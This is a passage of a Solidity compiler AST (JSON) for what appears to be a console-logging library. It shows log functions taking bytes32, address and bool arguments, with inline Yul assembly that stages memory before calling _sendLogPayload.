rc":"374617:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"374623:2:22","nodeType":"YulIdentifier","src":"374623:2:22"}],"functionName":{"name":"mstore","nativeSrc":"374610:6:22","nodeType":"YulIdentifier","src":"374610:6:22"},"nativeSrc":"374610:16:22","nodeType":"YulFunctionCall","src":"374610:16:22"},"nativeSrc":"374610:16:22","nodeType":"YulExpressionStatement","src":"374610:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"374646:4:22","nodeType":"YulLiteral","src":"374646:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"374652:2:22","nodeType":"YulIdentifier","src":"374652:2:22"}],"functionName":{"name":"mstore","nativeSrc":"374639:6:22","nodeType":"YulIdentifier","src":"374639:6:22"},"nativeSrc":"374639:16:22","nodeType":"YulFunctionCall","src":"374639:16:22"},"nativeSrc":"374639:16:22","nodeType":"YulExpressionStatement","src":"374639:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"374675:4:22","nodeType":"YulLiteral","src":"374675:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"374681:2:22","nodeType":"YulIdentifier","src":"374681:2:22"}],"functionName":{"name":"mstore","nativeSrc":"374668:6:22","nodeType":"YulIdentifier","src":"374668:6:22"},"nativeSrc":"374668:16:22","nodeType":"YulFunctionCall","src":"374668:16:22"},"nativeSrc":"374668:16:22","nodeType":"YulExpressionStatement","src":"374668:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"374704:5:22","nodeType":"YulLiteral","src":"374704:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"374711:2:22","nodeType":"YulIdentifier","src":"374711:2:22"}],"functionName":{"name":"mstore","nativeSrc":"374697:6:22","nodeType":"YulIdentifier","src":"374697:6:22"},"nativeSrc":"374697:17:22","nodeType":"YulFunctionCall","src":"374697:17:22"},"nativeSrc":"374697:17:22","nodeType":"YulExpressionStatement","src":"374697:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45860,"isOffset":false,"isSlot":false,"src":"374478:2:22","valueSize":1},{"declaration":45863,"isOffset":false,"isSlot":false,"src":"374507:2:22","valueSize":1},{"declaration":45866,"isOffset":false,"isSlot":false,"src":"374536:2:22","valueSize":1},{"declaration":45869,"isOffset":false,"isSlot":false,"src":"374565:2:22","valueSize":1},{"declaration":45872,"isOffset":false,"isSlot":false,"src":"374594:2:22","valueSize":1},{"declaration":45875,"isOffset":false,"isSlot":false,"src":"374623:2:22","valueSize":1},{"declaration":45878,"isOffset":false,"isSlot":false,"src":"374652:2:22","valueSize":1},{"declaration":45881,"isOffset":false,"isSlot":false,"src":"374681:2:22","valueSize":1},{"declaration":45884,"isOffset":false,"isSlot":false,"src":"374711:2:22","valueSize":1}],"id":45892,"nodeType":"InlineAssembly","src":"374442:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"373209:3:22","parameters":{"id":45857,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45850,"mutability":"mutable","name":"p0","nameLocation":"373221:2:22","nodeType":"VariableDeclaration","scope":45894,"src":"373213:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45849,"name":"bytes32","nodeType":"ElementaryTypeName","src":"373213:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45852,"mutability":"mutable","name":"p1","nameLocation":"373233:2:22","nodeType":"VariableDeclaration","scope":45894,"src":"373225:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45851,"name":"bytes32","nodeType":"ElementaryTypeName","src":"373225:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45854,"mutability":"mutable","name":"p2","nameLocation":"373245:2:22","nodeType":"VariableDeclaration","scope":45894,"src":"373237:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":45853,"name":"address","nodeType":"ElementaryTypeName","src":"373237:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":45856,"mutability":"mutable","name":"p3","nameLocation":"373254:2:22","nodeType":"VariableDeclaration","scope":45894,"src":"373249:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":45855,"name":"bool","nodeType":"ElementaryTypeName","src":"373249:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"373212:45:22"},"returnParameters":{"id":45858,"nodeType":"ParameterList","parameters":[],"src":"373272:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45940,"nodeType":"FunctionDefinition","src":"374736:1536:22","nodes":[],"body":{"id":45939,"nodeType":"Block","src":"374811:1461:22","nodes":[],"statements":[{"assignments":[45906],"declarations":[{"constant":false,"id":45906,"mutability":"mutable","name":"m0","nameLocation":"374829:2:22","nodeType":"VariableDeclaration","scope":45939,"src":"374821:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45905,"name":"bytes32","nodeType":"ElementaryTypeName","src":"374821:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45907,"nodeType":"VariableDeclarationStatement","src":"374821:10:22"},{"assignments":[45909],"declarations":[{"constant":false,"id":45909,"mutability":"mutable","name":"m1","nameLocation":"374849:2:22","nodeType":"VariableDeclaration","scope":45939,"src":"374841:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45908,"name":"bytes32","nodeType":"ElementaryTypeName","src":"374841:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45910,"nodeType":"VariableDeclarationStatement","src":"374841:10:22"},{"assignments":[45912],"declarations":[{"constant":false,"id":45912,"mutability":"mutable","name":"m2","nameLocation":"374869:2:22","nodeType":"VariableDeclaration","scope":45939,"src":"374861:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45911,"name":"bytes32","nodeType":"ElementaryTypeName","src":"374861:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45913,"nodeType":"VariableDeclarationStatement","src":"374861:10:22"},{"assignments":[45915],"declarations":[{"constant":false,"id":45915,"mutability":"mutable","name":"m3","nameLocation":"374889:2:22","nodeType":"VariableDeclaration","scope":45939,"src":"374881:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45914,"name":"bytes32","nodeType":"ElementaryTypeName","src":"374881:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45916,"nodeType":"VariableDeclarationStatement","src":"374881:10:22"},{"assignments":[45918],"declarations":[{"constant":false,"id":45918,"mutability":"mutable","name":"m4","nameLocation":"374909:2:22","nodeType":"VariableDeclaration","scope":45939,"src":"374901:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45917,"name":"bytes32","nodeType":"ElementaryTypeName","src":"374901:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45919,"nodeType":"VariableDeclarationStatement","src":"374901:10:22"},{"assignments":[45921],"declarations":[{"constant":false,"id":45921,"mutability":"mutable","name":"m5","nameLocation":"374929:2:22","nodeType":"VariableDeclaration","scope":45939,"src":"374921:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45920,"name":"bytes32","nodeType":"ElementaryTypeName","src":"374921:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45922,"nodeType":"VariableDeclarationStatement","src":"374921:10:22"},{"assignments":[45924],"declarations":[{"constant":false,"id":45924,"mutability":"mutable","name":"m6","nameLocation":"374949:2:22","nodeType":"VariableDeclaration","scope":45939,"src":"374941:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45923,"name":"bytes32","nodeType":"ElementaryTypeName","src":"374941:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45925,"nodeType":"VariableDeclarationStatement","src":"374941:10:22"},{"assignments":[45927],"declarations":[{"constant":false,"id":45927,"mutability":"mutable","name":"m7","nameLocation":"374969:2:22","nodeType":"VariableDeclaration","scope":45939,"src":"374961:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45926,"name":"bytes32","nodeType":"ElementaryTypeName","src":"374961:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45928,"nodeType":"VariableDeclarationStatement","src":"374961:10:22"},{"assignments":[45930],"declarations":[{"constant":false,"id":45930,"mutability":"mutable","name":"m8","nameLocation":"374989:2:22","nodeType":"VariableDeclaration","scope":45939,"src":"374981:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45929,"name":"bytes32","nodeType":"ElementaryTypeName","src":"374981:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45931,"nodeType":"VariableDeclarationStatement","src":"374981:10:22"},{"AST":{"nativeSrc":"375010:927:22","nodeType":"YulBlock","src":"375010:927:22","statements":[{"body":{"nativeSrc":"375053:313:22","nodeType":"YulBlock","src":"375053:313:22","statements":[{"nativeSrc":"375071:15:22","nodeType":"YulVariableDeclaration","src":"375071:15:22","value":{"kind":"number","nativeSrc":"375085:1:22","nodeType":"YulLiteral","src":"375085:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"375075:6:22","nodeType":"YulTypedName","src":"375075:6:22","type":""}]},{"body":{"nativeSrc":"375156:40:22","nodeType":"YulBlock","src":"375156:40:22","statements":[{"body":{"nativeSrc":"375185:9:22","nodeType":"YulBlock","src":"375185:9:22","statements":[{"nativeSrc":"375187:5:22","nodeType":"YulBreak","src":"375187:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"375173:6:22","nodeType":"YulIdentifier","src":"375173:6:22"},{"name":"w","nativeSrc":"375181:1:22","nodeType":"YulIdentifier","src":"375181:1:22"}],"functionName":{"name":"byte","nativeSrc":"375168:4:22","nodeType":"YulIdentifier","src":"375168:4:22"},"nativeSrc":"375168:15:22","nodeType":"YulFunctionCall","src":"375168:15:22"}],"functionName":{"name":"iszero","nativeSrc":"375161:6:22","nodeType":"YulIdentifier","src":"375161:6:22"},"nativeSrc":"375161:23:22","nodeType":"YulFunctionCall","src":"375161:23:22"},"nativeSrc":"375158:36:22","nodeType":"YulIf","src":"375158:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"375113:6:22","nodeType":"YulIdentifier","src":"375113:6:22"},{"kind":"number","nativeSrc":"375121:4:22","nodeType":"YulLiteral","src":"375121:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"375110:2:22","nodeType":"YulIdentifier","src":"375110:2:22"},"nativeSrc":"375110:16:22","nodeType":"YulFunctionCall","src":"375110:16:22"},"nativeSrc":"375103:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"375127:28:22","nodeType":"YulBlock","src":"375127:28:22","statements":[{"nativeSrc":"375129:24:22","nodeType":"YulAssignment","src":"375129:24:22","value":{"arguments":[{"name":"length","nativeSrc":"375143:6:22","nodeType":"YulIdentifier","src":"375143:6:22"},{"kind":"number","nativeSrc":"375151:1:22","nodeType":"YulLiteral","src":"375151:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"375139:3:22","nodeType":"YulIdentifier","src":"375139:3:22"},"nativeSrc":"375139:14:22","nodeType":"YulFunctionCall","src":"375139:14:22"},"variableNames":[{"name":"length","nativeSrc":"375129:6:22","nodeType":"YulIdentifier","src":"375129:6:22"}]}]},"pre":{"nativeSrc":"375107:2:22","nodeType":"YulBlock","src":"375107:2:22","statements":[]},"src":"375103:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"375220:3:22","nodeType":"YulIdentifier","src":"375220:3:22"},{"name":"length","nativeSrc":"375225:6:22","nodeType":"YulIdentifier","src":"375225:6:22"}],"functionName":{"name":"mstore","nativeSrc":"375213:6:22","nodeType":"YulIdentifier","src":"375213:6:22"},"nativeSrc":"375213:19:22","nodeType":"YulFunctionCall","src":"375213:19:22"},"nativeSrc":"375213:19:22","nodeType":"YulExpressionStatement","src":"375213:19:22"},{"nativeSrc":"375249:37:22","nodeType":"YulVariableDeclaration","src":"375249:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"375266:3:22","nodeType":"YulLiteral","src":"375266:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"375275:1:22","nodeType":"YulLiteral","src":"375275:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"375278:6:22","nodeType":"YulIdentifier","src":"375278:6:22"}],"functionName":{"name":"shl","nativeSrc":"375271:3:22","nodeType":"YulIdentifier","src":"375271:3:22"},"nativeSrc":"375271:14:22","nodeType":"YulFunctionCall","src":"375271:14:22"}],"functionName":{"name":"sub","nativeSrc":"375262:3:22","nodeType":"YulIdentifier","src":"375262:3:22"},"nativeSrc":"375262:24:22","nodeType":"YulFunctionCall","src":"375262:24:22"},"variables":[{"name":"shift","nativeSrc":"375253:5:22","nodeType":"YulTypedName","src":"375253:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"375314:3:22","nodeType":"YulIdentifier","src":"375314:3:22"},{"kind":"number","nativeSrc":"375319:4:22","nodeType":"YulLiteral","src":"375319:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"375310:3:22","nodeType":"YulIdentifier","src":"375310:3:22"},"nativeSrc":"375310:14:22","nodeType":"YulFunctionCall","src":"375310:14:22"},{"arguments":[{"name":"shift","nativeSrc":"375330:5:22","nodeType":"YulIdentifier","src":"375330:5:22"},{"arguments":[{"name":"shift","nativeSrc":"375341:5:22","nodeType":"YulIdentifier","src":"375341:5:22"},{"name":"w","nativeSrc":"375348:1:22","nodeType":"YulIdentifier","src":"375348:1:22"}],"functionName":{"name":"shr","nativeSrc":"375337:3:22","nodeType":"YulIdentifier","src":"375337:3:22"},"nativeSrc":"375337:13:22","nodeType":"YulFunctionCall","src":"375337:13:22"}],"functionName":{"name":"shl","nativeSrc":"375326:3:22","nodeType":"YulIdentifier","src":"375326:3:22"},"nativeSrc":"375326:25:22","nodeType":"YulFunctionCall","src":"375326:25:22"}],"functionName":{"name":"mstore","nativeSrc":"375303:6:22","nodeType":"YulIdentifier","src":"375303:6:22"},"nativeSrc":"375303:49:22","nodeType":"YulFunctionCall","src":"375303:49:22"},"nativeSrc":"375303:49:22","nodeType":"YulExpressionStatement","src":"375303:49:22"}]},"name":"writeString","nativeSrc":"375024:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"375045:3:22","nodeType":"YulTypedName","src":"375045:3:22","type":""},{"name":"w","nativeSrc":"375050:1:22","nodeType":"YulTypedName","src":"375050:1:22","type":""}],"src":"375024:342:22"},{"nativeSrc":"375379:17:22","nodeType":"YulAssignment","src":"375379:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"375391:4:22","nodeType":"YulLiteral","src":"375391:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"375385:5:22","nodeType":"YulIdentifier","src":"375385:5:22"},"nativeSrc":"375385:11:22","nodeType":"YulFunctionCall","src":"375385:11:22"},"variableNames":[{"name":"m0","nativeSrc":"375379:2:22","nodeType":"YulIdentifier","src":"375379:2:22"}]},{"nativeSrc":"375409:17:22","nodeType":"YulAssignment","src":"375409:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"375421:4:22","nodeType":"YulLiteral","src":"375421:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"375415:5:22","nodeType":"YulIdentifier","src":"375415:5:22"},"nativeSrc":"375415:11:22","nodeType":"YulFunctionCall","src":"375415:11:22"},"variableNames":[{"name":"m1","nativeSrc":"375409:2:22","nodeType":"YulIdentifier","src":"375409:2:22"}]},{"nativeSrc":"375439:17:22","nodeType":"YulAssignment","src":"375439:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"375451:4:22","nodeType":"YulLiteral","src":"375451:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"375445:5:22","nodeType":"YulIdentifier","src":"375445:5:22"},"nativeSrc":"375445:11:22","nodeType":"YulFunctionCall","src":"375445:11:22"},"variableNames":[{"name":"m2","nativeSrc":"375439:2:22","nodeType":"YulIdentifier","src":"375439:2:22"}]},{"nativeSrc":"375469:17:22","nodeType":"YulAssignment","src":"375469:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"375481:4:22","nodeType":"YulLiteral","src":"375481:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"375475:5:22","nodeType":"YulIdentifier","src":"375475:5:22"},"nativeSrc":"375475:11:22","nodeType":"YulFunctionCall","src":"375475:11:22"},"variableNames":[{"name":"m3","nativeSrc":"375469:2:22","nodeType":"YulIdentifier","src":"375469:2:22"}]},{"nativeSrc":"375499:17:22","nodeType":"YulAssignment","src":"375499:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"375511:4:22","nodeType":"YulLiteral","src":"375511:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"375505:5:22","nodeType":"YulIdentifier","src":"375505:5:22"},"nativeSrc":"375505:11:22","nodeType":"YulFunctionCall","src":"375505:11:22"},"variableNames":[{"name":"m4","nativeSrc":"375499:2:22","nodeType":"YulIdentifier","src":"375499:2:22"}]},{"nativeSrc":"375529:17:22","nodeType":"YulAssignment","src":"375529:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"375541:4:22","nodeType":"YulLiteral","src":"375541:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"375535:5:22","nodeType":"YulIdentifier","src":"375535:5:22"},"nativeSrc":"375535:11:22","nodeType":"YulFunctionCall","src":"375535:11:22"},"variableNames":[{"name":"m5","nativeSrc":"375529:2:22","nodeType":"YulIdentifier","src":"375529:2:22"}]},{"nativeSrc":"375559:17:22","nodeType":"YulAssignment","src":"375559:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"375571:4:22","nodeType":"YulLiteral","src":"375571:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"375565:5:22","nodeType":"YulIdentifier","src":"375565:5:22"},"nativeSrc":"375565:11:22","nodeType":"YulFunctionCall","src":"375565:11:22"},"variableNames":[{"name":"m6","nativeSrc":"375559:2:22","nodeType":"YulIdentifier","src":"375559:2:22"}]},{"nativeSrc":"375589:17:22","nodeType":"YulAssignment","src":"375589:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"375601:4:22","nodeType":"YulLiteral","src":"375601:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"375595:5:22","nodeType":"YulIdentifier","src":"375595:5:22"},"nativeSrc":"375595:11:22","nodeType":"YulFunctionCall","src":"375595:11:22"},"variableNames":[{"name":"m7","nativeSrc":"375589:2:22","nodeType":"YulIdentifier","src":"375589:2:22"}]},{"nativeSrc":"375619:18:22","nodeType":"YulAssignment","src":"375619:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"375631:5:22","nodeType":"YulLiteral","src":"375631:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"375625:5:22","nodeType":"YulIdentifier","src":"375625:5:22"},"nativeSrc":"375625:12:22","nodeType":"YulFunctionCall","src":"375625:12:22"},"variableNames":[{"name":"m8","nativeSrc":"375619:2:22","nodeType":"YulIdentifier","src":"375619:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"375722:4:22","nodeType":"YulLiteral","src":"375722:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"375728:10:22","nodeType":"YulLiteral","src":"375728:10:22","type":"","value":"0x7cc3c607"}],"functionName":{"name":"mstore","nativeSrc":"375715:6:22","nodeType":"YulIdentifier","src":"375715:6:22"},"nativeSrc":"375715:24:22","nodeType":"YulFunctionCall","src":"375715:24:22"},"nativeSrc":"375715:24:22","nodeType":"YulExpressionStatement","src":"375715:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"375759:4:22","nodeType":"YulLiteral","src":"375759:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"375765:4:22","nodeType":"YulLiteral","src":"375765:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"375752:6:22","nodeType":"YulIdentifier","src":"375752:6:22"},"nativeSrc":"375752:18:22","nodeType":"YulFunctionCall","src":"375752:18:22"},"nativeSrc":"375752:18:22","nodeType":"YulExpressionStatement","src":"375752:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"375790:4:22","nodeType":"YulLiteral","src":"375790:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"375796:4:22","nodeType":"YulLiteral","src":"375796:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"375783:6:22","nodeType":"YulIdentifier","src":"375783:6:22"},"nativeSrc":"375783:18:22","nodeType":"YulFunctionCall","src":"375783:18:22"},"nativeSrc":"375783:18:22","nodeType":"YulExpressionStatement","src":"375783:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"375821:4:22","nodeType":"YulLiteral","src":"375821:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"375827:2:22","nodeType":"YulIdentifier","src":"375827:2:22"}],"functionName":{"name":"mstore","nativeSrc":"375814:6:22","nodeType":"YulIdentifier","src":"375814:6:22"},"nativeSrc":"375814:16:22","nodeType":"YulFunctionCall","src":"375814:16:22"},"nativeSrc":"375814:16:22","nodeType":"YulExpressionStatement","src":"375814:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"375850:4:22","nodeType":"YulLiteral","src":"375850:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"375856:2:22","nodeType":"YulIdentifier","src":"375856:2:22"}],"functionName":{"name":"mstore","nativeSrc":"375843:6:22","nodeType":"YulIdentifier","src":"375843:6:22"},"nativeSrc":"375843:16:22","nodeType":"YulFunctionCall","src":"375843:16:22"},"nativeSrc":"375843:16:22","nodeType":"YulExpressionStatement","src":"375843:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"375884:4:22","nodeType":"YulLiteral","src":"375884:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"375890:2:22","nodeType":"YulIdentifier","src":"375890:2:22"}],"functionName":{"name":"writeString","nativeSrc":"375872:11:22","nodeType":"YulIdentifier","src":"375872:11:22"},"nativeSrc":"375872:21:22","nodeType":"YulFunctionCall","src":"375872:21:22"},"nativeSrc":"375872:21:22","nodeType":"YulExpressionStatement","src":"375872:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"375918:4:22","nodeType":"YulLiteral","src":"375918:4:22","type":"","value":"0xe0"},{"name":"p1","nativeSrc":"375924:2:22","nodeType":"YulIdentifier","src":"375924:2:22"}],"functionName":{"name":"writeString","nativeSrc":"375906:11:22","nodeType":"YulIdentifier","src":"375906:11:22"},"nativeSrc":"375906:21:22","nodeType":"YulFunctionCall","src":"375906:21:22"},"nativeSrc":"375906:21:22","nodeType":"YulExpressionStatement","src":"375906:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45906,"isOffset":false,"isSlot":false,"src":"375379:2:22","valueSize":1},{"declaration":45909,"isOffset":false,"isSlot":false,"src":"375409:2:22","valueSize":1},{"declaration":45912,"isOffset":false,"isSlot":false,"src":"375439:2:22","valueSize":1},{"declaration":45915,"isOffset":false,"isSlot":false,"src":"375469:2:22","valueSize":1},{"declaration":45918,"isOffset":false,"isSlot":false,"src":"375499:2:22","valueSize":1},{"declaration":45921,"isOffset":false,"isSlot":false,"src":"375529:2:22","valueSize":1},{"declaration":45924,"isOffset":false,"isSlot":false,"src":"375559:2:22","valueSize":1},{"declaration":45927,"isOffset":false,"isSlot":false,"src":"375589:2:22","valueSize":1},{"declaration":45930,"isOffset":false,"isSlot":false,"src":"375619:2:22","valueSize":1},{"declaration":45896,"isOffset":false,"isSlot":false,"src":"375890:2:22","valueSize":1},{"declaration":45898,"isOffset":false,"isSlot":false,"src":"375924:2:22","valueSize":1},{"declaration":45900,"isOffset":false,"isSlot":false,"src":"375827:2:22","valueSize":1},{"declaration":45902,"isOffset":false,"isSlot":false,"src":"375856:2:22","valueSize":1}],"id":45932,"nodeType":"InlineAssembly","src":"375001:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45934,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"375962:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":45935,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"375968:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":45933,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"375946:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":45936,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"375946:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45937,"nodeType":"ExpressionStatement","src":"375946:28:22"},{"AST":{"nativeSrc":"375993:273:22","nodeType":"YulBlock","src":"375993:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"376014:4:22","nodeType":"YulLiteral","src":"376014:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"376020:2:22","nodeType":"YulIdentifier","src":"376020:2:22"}],"functionName":{"name":"mstore","nativeSrc":"376007:6:22","nodeType":"YulIdentifier","src":"376007:6:22"},"nativeSrc":"376007:16:22","nodeType":"YulFunctionCall","src":"376007:16:22"},"nativeSrc":"376007:16:22","nodeType":"YulExpressionStatement","src":"376007:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"376043:4:22","nodeType":"YulLiteral","src":"376043:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"376049:2:22","nodeType":"YulIdentifier","src":"376049:2:22"}],"functionName":{"name":"mstore","nativeSrc":"376036:6:22","nodeType":"YulIdentifier","src":"376036:6:22"},"nativeSrc":"376036:16:22","nodeType":"YulFunctionCall","src":"376036:16:22"},"nativeSrc":"376036:16:22","nodeType":"YulExpressionStatement","src":"376036:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"376072:4:22","nodeType":"YulLiteral","src":"376072:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"376078:2:22","nodeType":"YulIdentifier","src":"376078:2:22"}],"functionName":{"name":"mstore","nativeSrc":"376065:6:22","nodeType":"YulIdentifier","src":"376065:6:22"},"nativeSrc":"376065:16:22","nodeType":"YulFunctionCall","src":"376065:16:22"},"nativeSrc":"376065:16:22","nodeType":"YulExpressionStatement","src":"376065:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"376101:4:22","nodeType":"YulLiteral","src":"376101:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"376107:2:22","nodeType":"YulIdentifier","src":"376107:2:22"}],"functionName":{"name":"mstore","nativeSrc":"376094:6:22","nodeType":"YulIdentifier","src":"376094:6:22"},"nativeSrc":"376094:16:22","nodeType":"YulFunctionCall","src":"376094:16:22"},"nativeSrc":"376094:16:22","nodeType":"YulExpressionStatement","src":"376094:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"376130:4:22","nodeType":"YulLiteral","src":"376130:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"376136:2:22","nodeType":"YulIdentifier","src":"376136:2:22"}],"functionName":{"name":"mstore","nativeSrc":"376123:6:22","nodeType":"YulIdentifier","src":"376123:6:22"},"nativeSrc":"376123:16:22","nodeType":"YulFunctionCall","src":"376123:16:22"},"nativeSrc":"376123:16:22","nodeType":"YulExpressionStatement","src":"376123:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"376159:4:22","nodeType":"YulLiteral","src":"376159:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"376165:2:22","nodeType":"YulIdentifier","src":"376165:2:22"}],"functionName":{"name":"mstore","nativeSrc":"376152:6:22","nodeType":"YulIdentifier","src":"37615